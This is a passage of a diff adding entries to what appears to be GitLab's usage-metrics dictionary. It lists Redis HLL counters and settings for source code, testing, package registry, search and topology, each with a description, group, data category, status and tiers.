+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184047_git_write_action_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.git_write_action_weekly`
+
+Count of unique Git write actions
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184045_git_write_action_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.i_source_code_code_intelligence_monthly`
+
+Count of unique users who use code intelligence
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175117_i_source_code_code_intelligence_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.i_source_code_code_intelligence_weekly`
+
+Count of unique users who use code intelligence
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175114_i_source_code_code_intelligence_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.merge_request_action_monthly`
+
+Count of unique users who perform an action on a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175113_merge_request_action_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.merge_request_action_weekly`
+
+Count of unique users who perform an action on a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175111_merge_request_action_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.project_action_monthly`
+
+Count of unique actions done on projects and related resources (create, edit, delete, comment)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182109_project_action_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.project_action_weekly`
+
+Count of unique actions done on projects and related resources (create, edit, delete, comment)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216182107_project_action_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.wiki_action_monthly`
+
+Count of unique actions done on a wiki (create, edit, delete)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182102_wiki_action_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.source_code.wiki_action_weekly`
+
+Count of unique actions done on a wiki (create, edit, delete)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216182100_wiki_action_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.terraform.p_terraform_state_api_unique_users_monthly`
+
+Monthly active users of GitLab Managed Terraform states
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184259_p_terraform_state_api_unique_users_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.terraform.p_terraform_state_api_unique_users_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184257_p_terraform_state_api_unique_users_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.testing.i_testing_full_code_quality_report_total_monthly`
+
+Count of unique users per week|month who visit the full code quality report
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182147_i_testing_full_code_quality_report_total_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_full_code_quality_report_total_weekly`
+
+Count of unique users per week who visit the full code quality report
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182145_i_testing_full_code_quality_report_total_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_group_code_coverage_project_click_total_monthly`
+
+Aggregated count of unique users who have clicked from group code coverage page to an individual project page each month.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182153_i_testing_group_code_coverage_project_click_total_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_group_code_coverage_project_click_total_weekly`
+
+Aggregated count of unique users who have clicked from group code coverage page to an individual project page each week.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184132_i_testing_group_code_coverage_project_click_total_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_group_code_coverage_visit_total_monthly`
+
+Count of unique users per month who visited the group code coverage page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182143_i_testing_group_code_coverage_visit_total_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_group_code_coverage_visit_total_weekly`
+
+Count of unique users per week who visited the group code coverage page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182141_i_testing_group_code_coverage_visit_total_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_load_performance_widget_total_monthly`
+
+Count of unique users per month who expanded the load performance report MR widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182156_i_testing_load_performance_widget_total_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_load_performance_widget_total_weekly`
+
+Count of unique users per week who expanded the load performance report MR widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182154_i_testing_load_performance_widget_total_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_metrics_report_artifact_uploaders_monthly`
+
+Tracks number of metrics reports uploaded monthly.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_metrics_report_artifact_uploaders_weekly`
+
+Count of unique users per week who trigger a pipeline that uploads a metrics report.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_metrics_report_widget_total_monthly`
+
+Count of unique users per month who expanded the metrics report MR widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182139_i_testing_metrics_report_widget_total_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_metrics_report_widget_total_weekly`
+
+Count of unique users per week who expanded the metrics report MR widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182138_i_testing_metrics_report_widget_total_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_summary_widget_total_monthly`
+
+Unique users that expand the test summary merge request widget by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_summary_widget_total_weekly`
+
+Unique users that expand the test summary merge request widget by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_test_case_parsed_monthly`
+
+Internal Tracking to count number of unit tests parsed for planning of future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_test_case_parsed_weekly`
+
+Internal Tracking to count number of unit tests parsed for planning of future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_web_performance_widget_total_monthly`
+
+Count of unique users per month who expanded the browser performance report MR widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182151_i_testing_web_performance_widget_total_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_web_performance_widget_total_weekly`
+
+Count of unique users per week who expanded the browser performance report MR widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182149_i_testing_web_performance_widget_total_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.testing_total_unique_counts_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`
+
+### `redis_hll_counters.testing.testing_total_unique_counts_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184138_testing_total_unique_counts_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.users_expanding_testing_accessibility_report_monthly`
+
+Count of expanding the accessibility report widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.users_expanding_testing_accessibility_report_weekly`
+
+Count of expanding the accessibility report widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.users_expanding_testing_code_quality_report_monthly`
+
+Count of expanding the code quality widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.users_expanding_testing_code_quality_report_weekly`
+
+Count of expanding the code quality widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml)
+
+Group: `group::testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_composer_user_monthly`
+
+A monthly count of users that have published a Composer package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_composer_user_weekly`
+
+A weekly count of users that have published a Composer package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_conan_user_monthly`
+
+A monthly count of users that have published a Conan package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_conan_user_weekly`
+
+A weekly count of users that have published a Conan package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_container_user_monthly`
+
+A monthly count of users that have published a container image to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_container_user_weekly`
+
+A weekly count of users that have published a container image to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_debian_user_monthly`
+
+A monthly count of users that have published a Debian package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_debian_user_weekly`
+
+A weekly count of users that have published a Debian package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_generic_user_monthly`
+
+A monthly count of users that have published a generic package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `broken`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_generic_user_weekly`
+
+A weekly count of users that have published a generic package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `broken`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_golang_user_monthly`
+
+A monthly count of users that have published a Go moduleto the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_golang_user_weekly`
+
+A weekly count of users that have published a Go module to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_helm_user_monthly`
+
+Distinct user count events for Helm packages in recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_helm_user_weekly`
+
+Distinct user count events for Helm packages in recent 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_maven_user_monthly`
+
+A monthly count of users that have published a Maven package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_maven_user_weekly`
+
+A weekly count of users that have published a Maven package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_npm_user_monthly`
+
+A monthly count of users that have published an npm package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_npm_user_weekly`
+
+A weekly count of users that have published an npm package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_nuget_user_monthly`
+
+A monthly count of users that have published a NuGet package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_nuget_user_weekly`
+
+A weekly count of users that have published a NuGet package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_pypi_user_monthly`
+
+A monthly count of users that have published a PyPI package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_pypi_user_weekly`
+
+A weekly count of users that have published a Python package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_rubygems_user_monthly`
+
+Distinct user count of RubyGems packages published in recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_rubygems_user_weekly`
+
+A weekly count of distinct RubyGems packages published by a user
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_tag_user_monthly`
+
+A monthly count of users that have published a package tag to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_tag_user_weekly`
+
+A weekly count of users that have published a package with a tag to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_terraform_module_user_monthly`
+
+Number of distinct users creating Terraform Module packages in recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_terraform_module_user_weekly`
+
+Number of distinct users creating Terraform Module packages in recent 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.user_packages_total_unique_counts_monthly`
+
+A monthly count of users that have published a package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.user_packages_total_unique_counts_weekly`
+
+A weekly count of users that have published a package to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `reply_by_email_enabled`
+
+Whether incoming email is setup
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124916_reply_by_email_enabled.yml)
+
+Group: `group::certify`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `search_unique_visits.i_search_advanced`
+
+Calculated unique users to perform Advanced searches by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180418_i_search_advanced.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `search_unique_visits.i_search_paid`
+
+Calculated unique users to perform a search with a paid license enabled by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180420_i_search_paid.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `search_unique_visits.i_search_total`
+
+Calculated unique users to perform Basic or Advanced searches by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180416_i_search_total.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `search_unique_visits.search_unique_visits_for_any_target_monthly`
+
+Total unique users for i_search_total, i_search_advanced, i_search_paid for recent 28 days. This metric is redundant because advanced will be a subset of paid and paid will be a subset of total. i_search_total is more appropriate if you just want the total
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183922_search_unique_visits_for_any_target_monthly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `search_unique_visits.search_unique_visits_for_any_target_weekly`
+
+Total unique users for i_search_total, i_search_advanced, i_search_paid for recent 7 days. This metric is redundant because advanced will be a subset of paid and paid will be a subset of total. i_search_total is more appropriate if you just want the total
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183920_search_unique_visits_for_any_target_weekly.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `settings.gitaly_apdex`
+
+Gitaly application performance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210321224827_gitaly_apdex.yml)
+
+Group: `group::gitaly`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `settings.ldap_encrypted_secrets_enabled`
+
+Is encrypted LDAP secrets configured?
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216175606_ldap_encrypted_secrets_enabled.yml)
+
+Group: `group::distribution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `settings.operating_system`
+
+Information about the operating system running GitLab
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210225045628_operating_system.yml)
+
+Group: `group::distribution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `signup_enabled`
+
+Whether public signup is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124918_signup_enabled.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `topology`
+
+Topology data
+
+[Object JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/objects_schemas/topology_schema.json)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210323120839_topology.yml)
+
+Group: `group::memory`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
